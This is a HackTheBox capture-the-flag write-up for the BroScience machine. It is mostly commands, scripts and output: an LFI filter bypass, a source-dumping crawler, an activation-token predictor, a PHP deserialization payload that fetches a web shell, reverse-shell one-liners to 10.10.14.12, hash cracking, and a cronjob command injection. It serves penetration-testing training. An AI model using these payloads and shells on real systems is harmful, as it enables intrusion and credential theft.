Post

HackTheBox Writeup - BroScience

Posted Updated
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By Fate Walker
21 min read
HackTheBox Writeup - BroScience
hackthebox nmap linux php feroxbuster ffuf local-file-inclusion directory-traversal directory-traversal-bypass deserialization command-injection openssl source-code-analysis snyk

BroScience is a Medium Difficulty Linux machine that features a web application vulnerable to LFI. Through the ability to read arbitrary files on the target, the attacker gains an insight into how account activation codes are generated, and is thus able to create a set of potentially valid tokens to activate a newly created account. Once logged in, further enumeration reveals that the site's theme-picker functionality is vulnerable to PHP deserialisation using a custom gadget chain, allowing an attacker to copy files on the target system, eventually leading to remote code execution. Once a foothold has been established, a handful of hashes are recovered from a database, which once cracked prove to contain a valid SSH password for the machine's main user bill. Finally, the privilege escalation is based on a cronjob executing a Bash script that is vulnerable to command injection through a certificate generated by openssl, forfeiting root access to the attacker.

Recon

Nmap

Always run nmap twice

  • From people who have taken OSCP
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┌──(root㉿kali)-[~/BroScience]
└─# nmap -p- 10.10.11.195 -Pn -T4 -vv 
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Main scan result:

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# Nmap 7.93 scan initiated Sun Apr  9 08:20:04 2023 as: nmap -sVC -p- -T4 -Pn -vv -oA broscience 10.10.11.195
Nmap scan report for 10.10.11.195
Host is up, received user-set (0.082s latency).
Scanned at 2023-04-09 08:20:05 EDT for 65s
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB5dEat1MGh3CDDnkl4tdWQcTpdWZYHZj5/Orv3PDjSiQ4dg1i35kknwiZrXLiMsUu/4TigP9Kc3h4M1CS7E3/GprpWxuGmipEucoQuNEtaM0sUa8xobtFxOVF46kS0++ozTd4+zbSLsu73SlLcSuSFalhGnHteHj6/ksSeX642103SMqkkmEu/cbgofkoqQOCYk3Qa42bZq5bjS/auGAlPoAxTjjVtpHnXOKOU7M6gkewD91FB3GAMUdwqR/PJcA5xqGFZm2St9ecSbewCur6pLN5YKnNhvdID4ijWI22gu5pLxHL9XjORMbSUkJbB79VoYJZaNkdOgt+HXR67s9DWI47D6/+pO0dTfQgMFgOCxYheWMDQ2FuyHyGX1CZpMVLAo3sjOvxAqk7eUGutsyBAlYCD4lhSFs6RhSBynahHQah7+Lv5LKRriZe/fQIgrJrQj+tR4Uhz89eWGrXK9bjN22wy7tVkMG/w5dOwo7S3Wi0aTZfd/17D0z7wSdiAiE=
|   256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCgM9UKdxFmXRJESXdlb+BSl+K1F0YCkOjSa8l+tgD6Y3mslSfrawZkdfq8NKLZlmOe8uf1ykgXjLWVDQ9NrJBk=
|   256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMwR+IfRojCwiMuM3tZvdD5JCD2MRVum9frUha60bkN
80/tcp  open  http     syn-ack ttl 63 Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
443/tcp open  ssl/http syn-ack ttl 63 Apache httpd 2.4.54 ((Debian))
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT/localityName=Vienna/emailAddress=administrator@broscience.htb
| Issuer: commonName=broscience.htb/organizationName=BroScience/countryName=AT/localityName=Vienna/emailAddress=administrator@broscience.htb
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-07-14T19:48:36
| Not valid after:  2023-07-14T19:48:36
| MD5:   5328ddd62f3429d11d26ae8a68d86e0c
| SHA-1: 20568d0d9e4109cde5a22021fe3f349c40d8d75b
...
|_http-title: BroScience : Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr  9 08:21:10 2023 -- 1 IP address (1 host up) scanned in 66.56 seconds

Quick copy file content from cli

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┌──(root㉿kali)-[~/BroScience]
└─# cat broscience.nmap| xclip -selection c

Add to hosts

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echo '10.10.11.195 broscience.htb' >> /etc/hosts

80 - BroScience : Home

Info

Dir

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┌──(root㉿kali)-[~/BroScience]                                                 
└─# feroxbuster -u broscience.htb --burp -e -A -x php
301      GET        9l       28w      319c https://broscience.htb/images => https://broscience.htb/images/
301      GET        9l       28w      321c https://broscience.htb/includes => https://broscience.htb/includes/
301      GET        9l       28w      319c https://broscience.htb/styles => https://broscience.htb/styles/
302      GET        0l        0w        0c https://broscience.htb/logout.php => https://broscience.htb/index.php
200      GET       42l       97w     1936c https://broscience.htb/login.php
302      GET        1l        3w       13c https://broscience.htb/comment.php => https://broscience.htb/login.php
MSG      0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/images (Apache)
MSG      0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/includes (Apache)
200      GET       29l       70w     1309c https://broscience.htb/user.php
MSG      0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/styles (Apache)
200      GET        3l        7w       44c https://broscience.htb/styles/light.css
200      GET       45l      104w     2161c https://broscience.htb/register.php
301      GET        9l       28w      323c https://broscience.htb/javascript => https://broscience.htb/javascript/
200      GET        5l       14w      369c https://broscience.htb/includes/header.php
200      GET       28l       71w     1322c https://broscience.htb/exercise.php
200      GET     3270l    20216w  1847611c https://broscience.htb/images/deadlift.png
200      GET        0l        0w        0c https://broscience.htb/includes/db_connect.php
200      GET        3l        7w       41c https://broscience.htb/styles/dark.css
200      GET        0l        0w        0c https://broscience.htb/includes/utils.php
200      GET      161l     1002w    83700c https://broscience.htb/images/seated_rows.png
200      GET        1l        4w       39c https://broscience.htb/includes/img.php
200      GET      147l      510w     9304c https://broscience.htb/index.php
200      GET      147l      510w     9304c https://broscience.htb/
301      GET        9l       28w      319c https://broscience.htb/manual => https://broscience.htb/manual/
500      GET        2l        4w       65c https://broscience.htb/includes/navbar.php
200      GET      904l     5421w   549177c https://broscience.htb/images/tricep_extensions.jpeg
403      GET        9l       28w      280c https://broscience.htb/.php
200      GET      383l     2045w   205698c https://broscience.htb/images/barbell_squats.jpeg
200      GET      220l     1542w   123552c https://broscience.htb/images/reverse_butterfly.jpeg
200      GET      122l      678w    56054c https://broscience.htb/images/bench.png
MSG      0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/manual/images (Apache)
301      GET        9l       28w      322c https://broscience.htb/manual/en => https://broscience.htb/manual/en/
301      GET        9l       28w      326c https://broscience.htb/manual/images => https://broscience.htb/manual/images/
301      GET        9l       28w      322c https://broscience.htb/manual/de => https://broscience.htb/manual/de/
301      GET        9l       28w      322c https://broscience.htb/manual/fr => https://broscience.htb/manual/fr/
MSG      0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/manual/style (Apache)
301      GET        9l       28w      325c https://broscience.htb/manual/style => https://broscience.htb/manual/style/
200      GET     2608l    13980w  1065974c https://broscience.htb/images/shoulder_press.jpeg
301      GET        9l       28w      322c https://broscience.htb/manual/es => https://broscience.htb/manual/es/
200      GET     1227l     7821w   677704c https://broscience.htb/manual/images/bal-man-w.png
301      GET        9l       28w      322c https://broscience.htb/manual/ru => https://broscience.htb/manual/ru/
MSG      0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/manual/style/css (Apache)
200      GET       27l       66w      481c https://broscience.htb/manual/style/build.properties
200      GET      299l     1691w   134287c https://broscience.htb/manual/images/build_a_mod_2.png
200      GET       29l      147w     1082c https://broscience.htb/manual/style/manualpage.dtd
200      GET     1193l     6976w   583650c https://broscience.htb/images/dumbell_curls.jpeg
200      GET       50l      355w    31098c https://broscience.htb/manual/images/custom_errordocs.png
200      GET      155l      390w     3065c https://broscience.htb/manual/style/css/manual-loose-100pc.css
200      GET       92l      345w     2844c https://broscience.htb/manual/style/modulesynopsis.dtd
301      GET        9l       28w      322c https://broscience.htb/manual/ja => https://broscience.htb/manual/ja/
200      GET       16l       74w     5983c https://broscience.htb/manual/images/ssl_intro_fig1.png
200      GET       23l      141w      885c https://broscience.htb/manual/style/css/manual-zip-100pc.css
200      GET       42l      190w     1425c https://broscience.htb/manual/style/sitemap.dtd
301      GET        9l       28w      322c https://broscience.htb/manual/tr => https://broscience.htb/manual/tr/
403      GET        9l       28w      280c https://broscience.htb/manual/.php
301      GET        9l       28w      327c https://broscience.htb/manual/en/misc => https://broscience.htb/manual/en/misc/
301      GET        9l       28w      322c https://broscience.htb/manual/ko => https://broscience.htb/manual/ko/
301      GET        9l       28w      322c https://broscience.htb/manual/da => https://broscience.htb/manual/da/
200      GET       24l      127w      907c https://broscience.htb/manual/style/lang.dtd
200      GET     1048l     2315w    19081c https://broscience.htb/manual/style/css/manual.css
200      GET      173l     1008w    81048c https://broscience.htb/manual/images/syntax_rewritecond.png
200      GET      717l     1598w    13200c https://broscience.htb/manual/style/css/manual-print.css
200      GET      105l      493w    29291c https://broscience.htb/manual/images/caching_fig1.gif
301      GET        9l       28w      327c https://broscience.htb/manual/de/misc => https://broscience.htb/manual/de/misc/
MSG      0.000 feroxbuster::heuristics detected directory listing: https://broscience.htb/manual/style/latex (Apache)
200      GET       24l      130w      925c https://broscience.htb/manual/style/version.ent
301      GET        9l       28w      327c https://broscience.htb/manual/fr/misc => https://broscience.htb/manual/fr/misc/
301      GET        9l       28w      327c https://broscience.htb/manual/es/misc => https://broscience.htb/manual/es/misc/
200      GET      121l      625w     3616c https://broscience.htb/manual/style/css/prettify.css
301      GET        9l       28w      327c https://broscience.htb/manual/ru/misc => https://broscience.htb/manual/ru/misc/
301      GET        9l       28w      326c https://broscience.htb/manual/en/faq => https://broscience.htb/manual/en/faq/
200      GET       80l      279w     2582c https://broscience.htb/manual/style/latex/atbeginend.sty
200      GET     1048l     6218w   583812c https://broscience.htb/manual/images/bal-man-b.png
301      GET        9l       28w      327c https://broscience.htb/manual/ja/misc => https://broscience.htb/manual/ja/misc/
301      GET        9l       28w      331c https://broscience.htb/manual/en/programs => https://broscience.htb/manual/en/programs/
301      GET        9l       28w      332c https://broscience.htb/manual/es/developer => https://broscience.htb/manual/es/developer/
301      GET        9l       28w      328c https://broscience.htb/manual/en/howto => https://broscience.htb/manual/en/howto/
200      GET        9l       44w     5193c https://broscience.htb/manual/images/ssl_intro_fig2.gif
200      GET        8l       24w     1868c https://broscience.htb/manual/images/mod_filter_new.png
301      GET        9l       28w      328c https://broscience.htb/manual/de/howto => https://broscience.htb/manual/de/howto/
301      GET        9l       28w      331c https://broscience.htb/manual/en/platform => https://broscience.htb/manual/en/platform/
301      GET        9l       28w      330c https://broscience.htb/manual/tr/rewrite => https://broscience.htb/manual/tr/rewrite/
301      GET        9l       28w      330c https://broscience.htb/manual/ja/rewrite => https://broscience.htb/manual/ja/rewrite/
301      GET        9l       28w      331c https://broscience.htb/manual/ko/platform => https://broscience.htb/manual/ko/platform/
301      GET        9l       28w      331c https://broscience.htb/manual/da/platform => https://broscience.htb/manual/da/platform/
301      GET        9l       28w      329c https://broscience.htb/manual/ko/vhosts => https://broscience.htb/manual/ko/vhosts/
301      GET        9l       28w      329c https://broscience.htb/manual/ja/vhosts => https://broscience.htb/manual/ja/vhosts/
301      GET        9l       28w      329c https://broscience.htb/manual/da/vhosts => https://broscience.htb/manual/da/vhosts/

Subdomains

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┌──(root㉿kali)-[~/BroScience]
└─# ffuf -c -u https://broscience.htb -H "Host: FUZZ.broscience.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -k -fs 9304 -o subdomains.ffuf

/login.php

/register.php

Tried login, shows Account is not activated

/exercise.php

/exercise.php?id=1

Possible sql injection (Failed)

/includes/img.php

/includes/img.php?path=bench.png

Possible LFI

It have WAF, filtering char : /

Use ffuf to fuzz bypass method

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ffuf -c -u "https://broscience.htb/includes/img.php?path=FUZZ" -k -fr "Attack detected" -fs 0 -x http://127.0.0.1:8080 -w /usr/share/payloadsallthethings/Directory\ Traversal/Intruder/dotdotpwn.txt

Double url encode successfully escaped WAF

Cyberchef:

Get users

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GET /includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1


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┌──(root㉿kali)-[~/BroScience]
└─# cat passwd| grep sh$                   
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

/includes/

Directory Listing found

User Flag

Dump php files

Write script to download php files

lfi.py

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"""
Hack The Box: Broscience, File crawling and download via LFI
"""
import requests
import re
import urllib3
from pathlib import Path
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


LFI_URI = "https://broscience.htb/includes/img.php?path=..%252f"


def encode_path(path: str) -> str:
    """Double encode the path to avoid the filter"""
    return path.replace("/", "%252f")


def get_content(file_path: str) -> bytes:
    """Get the file content"""
    url = f"{LFI_URI}{encode_path(file_path)}"
    r = requests.get(url, verify=False)
    print(f"[*] Getting {url}")
    return r.content
    
    
def download_file(file_path: Path):
    """Download the file"""
    file_content = get_content(str(file_path))
    root_path = Path(__file__).parent / "app"
    full_path = root_path / file_path
    if not full_path.parent.exists():
        full_path.parent.mkdir(parents=True)
    with open(full_path, "wb") as f:
        f.write(file_content)
    print(f"[+] Downloaded : {full_path}")


def main():
    with open("/root/BroScience/dir.feroxbuster", "r") as f:
        urls = f.read()
        
    php_paths = re.findall(r"broscience.htb/(\S*\.php)", urls)
    for path in set(php_paths):
        download_file(Path(path))
    
    
if __name__ == "__main__":
    main()

Browse the codes easily

includes/db_connect.php

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<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>

includes/img.php

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<?php
if (!isset($_GET['path'])) {
    die('<b>Error:</b> Missing \'path\' parameter.');
}
// Check for LFI attacks
$path = $_GET['path'];
$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
    if (strpos($path, $badword) !== false) {
        die('<b>Error:</b> Attack detected.');
    }
}
  
// Normalize path
$path = urldecode($path);
  
// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>

register.php

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...
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));

if (pg_num_rows($res) == 0) {
	$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
	$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));

	// TODO: Send the activation link to email
	$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

	$alert = "Account created. Please check your email for the activation link.";
	$alert_type = "success";
} else {
	$alert = "Failed to generate a valid activation code, please try again.";
}
...
  • The email activation function isnt implemented yet

utils.php

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...
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}
...

Activate website user

Search srand() on php manual

It generates activation codes based on time stamp

Register an account then copy timestamp

Date: Wed, 12 Apr 2023 15:57:33 GMT

  • Google online to unix timestamp

https://www.epochconverter.com/

change random seed to the timestamp

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┌──(root㉿kali)-[/home/kali/broscience]
└─# php -a
Interactive shell

php > echo time();
1681314991
php > function generate_activation_code() {
php {     $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
php {     srand(1681315053);
php {     $activation_code = "";
php {     for ($i = 0; $i < 32; $i++) {
php {         $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
php {     }
php {     return $activation_code;
php { }
php > echo generate_activation_code();
54aIbVLKGR7ZGXARNpuLBn3zO4woOe1q

Got activation failed ressonse

Write two scripts to generate activate codes

user_activator.py

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#!/usr/bin/env python3
"""HTB : Broscience user activate script"""
import requests
import urllib3
import sys
from datetime import timezone
from datetime import datetime, timedelta
from subprocess import check_output
from concurrent.futures import ThreadPoolExecutor
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



class User:
    def __init__(self, username:str) -> None:
        self.username = username
        self.password = "QAQ"
        self.activate_code = ""
        self.session = requests.Session()
        
    def generate_codes(self, register_time: datetime) -> list:
        codes = []
        gap_second = 10

        # loop through register_time - gap_second to register_time + gap_second to find the correct time
        for i in range(gap_second * -1, gap_second):
            new_time = register_time + timedelta(seconds=i)
            timestamp = int(new_time.timestamp())
            result = check_output(["php", "activate.php", str(timestamp)]).decode("utf-8").strip()
            codes.append(result)

        print("[*] Saving generated codes to activate_codes.txt..")
        with open("activate_codes.txt", "w") as f:
            f.writelines(codes)
            
        return codes
            
            
    def register(self) -> datetime:
        """Register a new account"""
        data = f"username={self.username}&email={self.username}@broscience.htb&password={self.password}&password-confirm={self.password}"
        print(f"[*] Registering | {self.username} : {self.password}")
        headers = {"Content-Type" : "application/x-www-form-urlencoded"}
        proxies={"https": "http://127.0.0.1:8080"}
        r = self.session.post("https://broscience.htb/register.php", headers=headers ,data=data, verify=False, proxies=proxies)
        if "Account created" in r.text:
            print(f"[+] Registered {self.username}")
            date_str = r.headers.get("Date").strip()
            date_obj = datetime.strptime(date_str, "%a, %d %b %Y %H:%M:%S %Z")
            date_obj = date_obj.replace(tzinfo=timezone.utc)
            return date_obj
        elif "Username is already taken." in r.text:
            print("[!] Username is already taken.")
        else:
            print("[!] Unknown error.")
            
    def activate(self, code: str):
        """Send activate request"""
        if self.activate_code:
            return
        print(f"[*] Activating {code}")
        r = self.session.get(f"https://broscience.htb/activate.php?code={code}", verify=False)
        if "Invalid activation code." not in r.text:
            self.activate_code = code
            print(f"[+] Activated : {code}")
                

if __name__ == "__main__":
    # reg_time = datetime(2023, 4, 12, 17, 31, 10, tzinfo=timezone.utc)
    if len(sys.argv) != 2:
        print(f"Usage: python3 {sys.argv[0]} <username>")
        sys.exit(1)
    
    username = sys.argv[1]
    user = User(username)
    reg_time = user.register()
    print(f"{reg_time=}")
    if not reg_time:
        sys.exit(1)
        
    activate_codes = user.generate_codes(reg_time)
    with ThreadPoolExecutor(max_workers=10) as executor:
        for code in activate_codes:
            executor.submit(user.activate, code)
            if user.activate_code:
                break

    result = f"\n[+] Done.\n[*] Creds | {user.username} : {user.password}\n[*] Activate code: {user.activate_code}"
    print(result)

activate.php

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<?php
function generate_activation_code($timestamp) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($timestamp);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

echo generate_activation_code($argv[1]);
?>

Run the script

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┌──(root㉿kali)-[/home/kali/broscience]
└─# python3 user_activator.py bravosec

Can also use ffuf to bruteforce activation code

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ffuf -c -u "https://broscience.htb/activate.php?code=FUZZ" -w active_codes.txt -fr "Invalid"

Successfully login

IDOR

After login, found an IDOR in user’s profile function

https://broscience.htb/user.php?id=1

Static Application Security Testing

Always do SAST if have access to source code during PT

Use snyk

Found unsecure deserialization

Exploit PHP deserialization

O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}

Craft payload

PHP mapping to python cheat table

phppython
$this->obj = "wew"self.obj = "wew"

payload.php

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<?php

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp = "http://10.10.14.12/xd.php";
    public $imgPath = "./xd.php"; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$payload = serialize(new AvatarInterface());
echo sprintf("%s\n%s", $payload, base64_encode($payload));

?>

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┌──(root㉿kali)-[/home/kali/broscience]
└─# mkdir www                       

┌──(root㉿kali)-[/home/kali/broscience]
└─# cd www                    

┌──(root㉿kali)-[/home/kali/broscience/www]
└─# echo '<?php echo system($_GET["cmd"]); ?>' > xd.php

┌──(root㉿kali)-[/home/kali/broscience/www]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Exploit

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┌──(root㉿kali)-[/home/kali/broscience]
└─# php payload.php 
O:15:"AvatarInterface":2:{s:3:"tmp";s:25:"http://10.10.14.12/xd.php";s:7:"imgPath";s:8:"./xd.php";}
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNToiaHR0cDovLzEwLjEwLjE0LjEyL3hkLnBocCI7czo3OiJpbWdQYXRoIjtzOjg6Ii4veGQucGhwIjt9

Get rev shell

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/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.12/443 0>&1'

CTRL + U to quick encode

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┌──(root㉿kali)-[~/BroScience]
└─# nc -lvnp 1111 
listening on [any] 1111 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.195] 56148
bash: cannot set terminal process group (837): Inappropriate ioctl for device
bash: no job control in this shell
www-data@broscience:/var/www/html$ python3 -c "import pty;pty.spawn('/bin/bash')"
<tml$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@broscience:/var/www/html$ ^Z
zsh: suspended  nc -lvnp 1111

┌──(root㉿kali)-[~/BroScience]
└─# stty raw -echo; fg
[1]  + continued  nc -lvnp 1111

www-data@broscience:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Get User : bill

Dump DB

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www-data@broscience:/home/bill$ cat /etc/passwd|grep sh$
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

oh yeah postgres, use previous dumped creds

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www-data@broscience:/tmp$ psql -h localhost -d broscience -U dbuser
Password for user dbuser:
psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

broscience=> \d+
WARNING: terminal is not fully functional
-  (press RETURN)                                    List of relations
 Schema |       Name       |   Type   |  Owner   | Persistence |    Size    | De
scription
--------+------------------+----------+----------+-------------+------------+---
----------
 public | comments         | table    | postgres | permanent   | 16 kB      |
 public | comments_id_seq  | sequence | postgres | permanent   | 8192 bytes |
 public | exercises        | table    | postgres | permanent   | 16 kB      |
 public | exercises_id_seq | sequence | postgres | permanent   | 8192 bytes |
 public | users            | table    | postgres | permanent   | 8192 bytes |
 public | users_id_seq     | sequence | postgres | permanent   | 8192 bytes |
(6 rows)

broscience=> select * from users;
WARNING: terminal is not fully functional
-  (press RETURN) id |   username    |             password             |            email
      |         activation_code          | is_activated | is_admin |         dat
e_created
----+---------------+----------------------------------+------------------------
------+----------------------------------+--------------+----------+------------
-------------------
  1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscienc
e.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07
02:02:22.226763-05
  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb
      | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07
03:34:44.127644-04
  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb
      | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01
04:12:34.732872-04
  4 | john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb
      | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21
11:45:53.118482-04
  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb
      | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13
10:34:36.226763-04
(5 rows)

Crack hashes

We know the password is salted by viewing the code of [[HackTheBox Writeup - BroScience#User Flag#Dump php files#register.php]]

Format: NaCl<PASSWORD>

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broscience=> select username || ':' || password || ':NaCl' from users;
WARNING: terminal is not fully functional
-  (press RETURN)                      ?column?
-----------------------------------------------------
 administrator:15657792073e8a843d4f91fc403454e1:NaCl
 bill:13edad4932da9dbb57d9cd15b66ed104:NaCl
 michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
 john:a7eed23a7be6fe0d765197b1027453fe:NaCl
 dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl
(5 rows)

(END)broscience=>

Crack the hashes

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┌──(root㉿kali)-[~/BroScience]
└─# vi hashes

┌──(root㉿kali)-[~/BroScience]
└─# hashcat hashes /opt/rockyou.txt --user
...
The following 20 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
     10 | md5($pass.$salt)                                           | Raw Hash salted and/or iterated
     20 | md5($salt.$pass)                                           | Raw Hash salted and/or iterated
...

┌──(root㉿kali)-[~/BroScience]
└─# hashcat hashes /opt/rockyou.txt --user -m 20
...
Started: Sat Apr 15 09:14:44 2023
Stopped: Sat Apr 15 09:15:18 2023

┌──(root㉿kali)-[~/BroScience]
└─# hashcat hashes /opt/rockyou.txt --user -m 20 --show
 bill:13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
 michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
 dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest

SSH via bill

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┌──(root㉿kali)-[~/BroScience]
└─# ssh bill@broscience.htb
bill@broscience:~$ cat user.txt
8a2ba6fc44112b4b550deb15c3d4c55c

Root Flag

Cron Job As ROOT

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bill@broscience:~$ echo 'ssh-rsa AAAAB3NzaC1yc2... root@kali' >> ~/.ssh/authorized_keys
bill@broscience:~$ sudo -l
[sudo] password for bill:
Sorry, user bill may not run sudo on broscience.

Use Pspy

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┌──(root㉿kali)-[/home/kali/broscience]
└─# scp /opt/tools/privesc/pspy64 bill@broscience.htb:/tmp/
pspy64

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bill@broscience:~$ cd /tmp
bill@broscience:/tmp$ chmod +x pspy64
bill@broscience:/tmp$ ./pspy64

/opt/renew_cert.sh

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bill@broscience:/tmp$ cat /opt/renew_cert.sh

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#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;

Command Injection

There’s clearly a command injection in this line

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/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
  • The $1 parameter will be /home/bill/Certs/broscience.crt according to PSPY’s result

Payload will be

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$(/bin/bash -i >& /dev/tcp/10.10.14.12/1111 0>&1)

Note this sector

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openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi
